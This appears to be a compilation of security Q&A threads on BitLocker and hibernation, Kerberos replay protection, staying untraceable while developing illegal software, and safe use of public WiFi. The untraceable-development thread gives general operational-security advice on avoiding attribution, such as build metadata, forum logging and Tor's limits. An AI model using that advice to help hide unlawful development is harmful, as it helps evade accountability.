First of all, to the comment by André, from what I understand, full disk encryptions are exactly for the case of an attacker gaining full physical access to the hardware, like in the case of a (notebook) theft.

As for the rest: a hybernating computer should be vulnerable.

This is after some research the best article on the topic: https://securingtomorrow.mcafee.com/mcafee-labs/release-windows-10-questions-bitlocker-arise/ .

If the system is hibernating, it can be awoken again, and then any of the described attacks like "cold boot" should work.

Also, if the TPM gets hacked (though I am not sure if that is very realistic, or if there are known weaknesses in some TPMs) that would also be a bad thing.

Still, I think those attacks are no thread for everyday security, since their effort is fairly large, meaning that in most cases, no attackers would make those efforts unless there are reasonably high (information) rewards.


How does Kerberos protect against replay attacks? I have been reading about Kerberos, and I understand the messages exchanged, and that it uses symmetric encryption in order to protect some of the messages. But, how does it protect against replay attacks? For example, the first message from client to KDC is not encrypted as long as I know. Even if something is encrypted, we can still replay it later. Plus I read that the clocks in Kerberos can have at most ~5 min difference. So, I guess server also keeps in cache some of the tickets received, in order to prevent from similar attacks, right?

Kerberos uses an 'authenticator' during protocol exchanges that occur between the client and the server. It holds additional authentication data, such as the ticket lifetime, and most important, the client's timestamp.

  When Server-Side Kerberos validates an authentication message, it will
  check the authenticator's timestamp. If the timestamp is earlier or
  the same as a previous authenticators received within the five minutes, it will reject the packet
  because it treats it as a replay attack and user
  authentication will fail.

Server-side Kerberos additionally compares the timestamp in the authenticator to the server time. If the timestamp in the authenticator isn't within five minutes of the time on the server, it will also reject the packet.

The five minutes is the maximum difference it can tolerate between client and server, but you can change this value in windows through group policy.

In a nutshell, the crucial part is the 'authenticator' time validation.


Untraceable software development My goal is to develop a piece of software which is illegal in my country. Obviously I don't want anyone to be able to trace the code back to me or prove that I developed it after deployment.
What precautions would be needed? Which pitfalls need to be avoided? Is there a tutorial?

I would suspect that full drive encryption on your development machine and internet connectivity over Tor are required.

What setup would be needed when developing in countries with political repression or similar conditions?

I don't think that the development itself is so much of a problem if done alone, offline and with proper disc encryption and if the software never gets distributed.

But, if you need help in development you need to communicate with others or at least get information from the internet. It might for example be that the developer forums you visit are compromised and use of these forums will compromise your system too, like in Apple, Facebook employees hacked via website malware, Java vulnerability or in FBI using an exploit to attack Tor users.

Even if not compromised the forums might log your visits, store the questions you've asked and the posts you've visited etc, which might be used to construct a picture of what you are working on and might later be used as evidence against you. And just visiting such sites via Tor does not make you fully anonymous - all what it does is hiding your IP address.

And then you likely need to somehow distribute the software to others. If done as binary for easy install then these binaries often include traces from the developer environment and process, like language used on the system, time the software was compiled, specific versions of software libraries used in your code, software versions used for compilation, debug information, ... . While none of this by itself will make it possible to find you and can help to narrow down the potential suspects and might later be used as evidence. Distributing as source code might even be worse since it can be more easily aligned with code snippets you might have asked about on the internet.

Also, I hope that would not blindly install arbitrary software you'll find on the internet and this kind of security you should expect from others too. So you somehow need to establish some reputation so that others will trust that the software does what it claims and does no harm. Building such reputation commonly involves that you need to communicate with others and trust others too - which makes your vulnerable if there is somebody you should not actually trust. For example government agencies are regularly able to infiltrate closed forums in the dark net even though the administrators of such forums try very hard to screen new members.

In summary: it is far from trivial and there is no simple tutorial to follow. The threat model is specific for where you live, what kind of software you develop, what your developments tools are, how do you want to distribute the software, how hard somebody would try to find you ...


How to use public WiFi safely? The Dangers of Open Wi-Fi

How does one go about sending valuable information (for example inputting email username and password) over a free password-less public WiFi network?

The only option that I can think of is ssh-in into a secure server and home and using it as a proxy for all communication. Is this valid and practical approach?

Using valid SSL/TLS connection by making sure you're always connecting to the https:// version of the website and that the browser isn't giving you any warnings or errors, is your first line of defence. An addon called HTTPS Everywhere can be very helpful here.

The approach you're proposing (SSH to your trusted network) is a very standard approach. I use it everyday to connect from any network in the street/restaurant/cafe using a small app called SSH Tunnel from my mobile or using any SSH client on my computer.

Important note: Always make sure you're connecting to your server by watching for fingerprint acceptance prompts and making sure you're accepting your server's fingerprint.